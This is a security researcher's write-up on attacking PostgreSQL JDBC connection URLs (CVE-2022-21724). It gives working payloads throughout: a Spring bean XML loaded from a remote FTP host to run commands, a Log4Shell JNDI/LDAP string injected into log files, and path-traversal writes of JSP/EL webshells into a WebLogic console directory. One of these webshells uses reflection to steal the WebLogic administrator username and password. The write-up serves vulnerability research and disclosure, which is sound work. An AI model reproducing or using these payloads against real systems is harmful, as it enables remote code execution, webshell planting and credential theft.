Make JDBC Attacks Great Again II

0x01 Forewords

In my previous presentation at the HITB Singapore Security Conference in 2021, titled “Make JDBC Attacks Brilliant Again,” I delved into the vulnerabilities associated with JDBC (Java Database Connectivity) in various database systems. While the focus was comprehensive, one notable database that was absent from the discussion was PostgreSQL. Recently, I have come across insights regarding JDBC attacks specifically targeting PostgreSQL, prompting me to compile an additional chapter to my original work.

0x02 PostgreSQL JDBC Driver Remote Code Execution(CVE-2022-21724)

Just like other JDBC drivers, PostgreSQL JDBC driver is on supportive of many properties. Let me start with the pair of properties in CVE-2022-21724

a. socketFactory / socketFactoryArg

The official documents state that:

upload successful

As always, debug and figure out the internal function calling procedure, here, my PostgreSQL driver version is 42.3.1, I write the following code in order to print version.

1
System.out.println("PostgreSQL Driver Version: " + org.postgresql.Driver.class.getPackage().getImplementationVersion());

Set the property empty and execute the code, it throws exceptions.

upload successful

Refer to the exceptions, set tne breakpoint at getSocketFactory()

upload successful

Then step into ObjectFactory.instantiate()

upload successful

According to this, we figure out socketFactory is used to initialize objects and there is only one string type argument of the constructor.

Therefore we only need to look for an eligible class, it reminds me of the couple of classes as follow

  • org.springframework.context.support.ClassPathXmlApplicationContext

  • org.springframework.context.support.FileSystemXmlApplicationContext

We can load the following XML file by one of the above classes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>open</value>
<value>-a</value>
<value>calculator</value>
</list>
</constructor-arg>
</bean>
</beans>

Start a ftp server

python3 -m pyftpdlib -d .

Check the result

upload successful

Maybe it also reminds someone of another class, like java.io.FileOutputStream. Utilize the class and ../../ to archive traveral path and empty an file arbitrarily. In my illustation, I create an empty file named test.log.

upload successful

b. sslFactory / sslFactoryArg

Official document introduction

upload successful

Actually, they are as similar as socketFactory/socketFactoryArg, only a little differencs, the couple of properties are utilized to judge whether it is an encrypted connection with a SSL handshake.
About SSL handshake judgement, we can figure out if the recieved request starting with big letter S after establishing connection, it is on supportive of SSL protocol.

Then step into SSLSocketFactory()

upload successful

Next step, focus on SSLSocketFactory

upload successful

upload successful

From here on, the code logic is the same as before.To avoid repetition, it’s not described in this article.Consequently we only give a response with big letter S after establishing connection, it will be trigged successfully.

upload successful

c. Weblogic Server Remote Code Execution

I mentioned this class org.springframework.context.support.FileSystemXmlApplicationContext in the above illustration.But in Weblogic Server, there is a similar class com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

Pay attention to check these two jar files as follow

upload successful

They are both necessary, fortunately built-in by default.

Finnally construct the PoC

1
jdbc:postgresql://127.0.0.1:5432/testdb?&socketFactory=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext&socketFactoryArg=ftp://127.0.0.1:2121/bean.xml

Check the result

upload successful

0x03 PostgreSQL JDBC Driver arbitrary file write

a. loggerLevel / loggerFile

Official document introduction

upload successful

So PoC can be contructed like this

jdbc:postgresql://localhost:5432/testdb?loggerLevel=TRACE&loggerFile=pgjdbc.log

b. Log4Shell Logger Injection

Apparently even though the database connection is failed, all the logs will be written into the specific log file. In order to pollute the log file, we can insert Log4Shell payload into JDBC connection URL.

1
jdbc:postgresql://localhost:5432/${jndi:ldap://127.0.0.1:1389/eajmgl}?loggerLevel=TRACE&loggerFile=pgjdbc.log

upload successful

When using Apache Log4j2 library to read polluted log file, RCE will be triggered.

upload successful

c. Weblogic Server Concise Webshell

In order to check the result easily, I use another property ApplicationName. Honestly it’s not necessary.

upload successful

Try to create a Webshell with a line of concise JSP code. The target directory is../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/

The preliminary payload seems like this

1
jdbc:postgresql://127.0.0.1:5432/testdb?ApplicationName=<%Runtime.getRuntime().exec("open -a calculator")};%>&loggerLevel=TRACE&loggerFile=../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/she11.jsp

Unfortunately it throws exceptions directly, Weblogic Server will decode %Ru (% and the next two characters Ru) with URLDecoder() method,the exception is as follow

1
Could not establish a connection because of java.lang.IllegalArgumentException: URLDecoder: Illegal hex characters in escape (%) pattern - For input string: "Ru"<br/>

upload successful

Suddenly Expression Language comes to my mind, it can replace JSP to avoid decoding % exceptionally. By the way, Servlet <=2.3 is not supportive of Expression Language by default.It’s necessary to make sure the Weblogic Server built-in Servlet version. In my illustration, Weblogic Server14 with its built-in Servlet 4.0. Servlet > 2.3 is supportive of Expression Language by default.

upload successful

Everything is ready. The final PoC like this

1
jdbc:postgresql://127.0.0.1:5432/testdb?ApplicationName=${Runtime.getRuntime().exec("open -a calculator")}&loggerLevel=TRACE&loggerFile=../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/calc.jsp

Access Webshell URL, then the calculator pops up.

upload successful

d. Weblogic Server Console Password Stealing Webshell

In the above illustration, I replace JSP with Expression Language successfully, but Expression Language is limited, for example, value cannot be assigned to a variable.

As we know,the Expression Language defines a set of implicit objects,like pageContext, it’s pretty useful.

When instantiating the class javax.servlet.jsp.PageContext, we create an object pageContext, it represnets the entire JSP page.

Set attribute with pageContext.setAttribute() method and get attribute with pageContext.getAttribute(). If the page scope is not appointed,the order will be page → request → session → application. Page scope is the default, and the pageContext object belongs to page scope.

If you know about the above acknowledge, using Java reflection can achieve the desired effect. So the final PoC like this

1
jdbc:postgresql://127.0.0.1:5432/testdb?ApplicationName=${pageContext.setAttribute("classLoader",Thread.currentThread().getContextClassLoader());pageContext.setAttribute("httpDataTransferHandler",pageContext.getAttribute("classLoader").loadClass("weblogic.deploy.service.datatransferhandlers.HttpDataTransferHandler"));pageContext.setAttribute("managementService", pageContext.getAttribute("classLoader").loadClass("weblogic.management.provider.ManagementService"));pageContext.setAttribute("authenticatedSubject",pageContext.getAttribute("classLoader").loadClass("weblogic.security.acl.internal.AuthenticatedSubject"));pageContext.setAttribute("propertyService",pageContext.getAttribute("classLoader").loadClass("weblogic.management.provider.PropertyService"));pageContext.setAttribute("KERNE_ID",pageContext.getAttribute("httpDataTransferHandler").getDeclaredField("KERNE_ID"));pageContext.getAttribute("KERNE_ID").setAccessible(true);pageContext.setAttribute("getPropertyService",managementService.getMethod("getPropertyService",pageContext.getAttribute("authenticatedSubject")));pageContext.getAttribute("getPropertyService").setAccessible(true);pageContext.setAttribute("prop",pageContext.getAttribute("getPropertyService").invoke(null,pageContext.getAttribute("KERNE_ID").get((null))));pageContext.setAttribute("getTimestamp1",propertyService.getMethod("getTimestamp1"));pageContext.getAttribute("getTimestamp1").setAccessible(true);pageContext.setAttribute("getTimestamp2",propertyService.getMethod("getTimestamp2"));pageContext.getAttribute("getTimestamp2").setAccessible(true);pageContext.setAttribute("username", pageContext.getAttribute("getTimestamp1").invoke(pageContext.getAttribute("prop")));pageContext.setAttribute("password",pageContext.getAttribute("getTimestamp2").invoke(pageContext.getAttribute("prop")));pageContext.getAttribute("username").concat("/").concat(pageContext.getAttribute("password"))}&loggerLevel=TRACE&loggerFile=../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/passwd.jsp

At last, access the Webshell which we create. Steal the username and password successfully, they are log-in credentials of Weblogic Server administration console.

upload successful

0x04 Conclusion

JDBC is widely used because of the Java language.So the attack interface of JDBC makes a great impact. One scenario is cloud computing platform, the users can configure their JDBC connections of a cloud database service.The other scenario is authorization bypass weakness in Java frameworks.Both the scenarios make JDBC connection URL controllable easily.

I summarize my research as a write-up and hope someone insterested with the attack interface will follow my research and keep on making JDBC attacks brilliant again!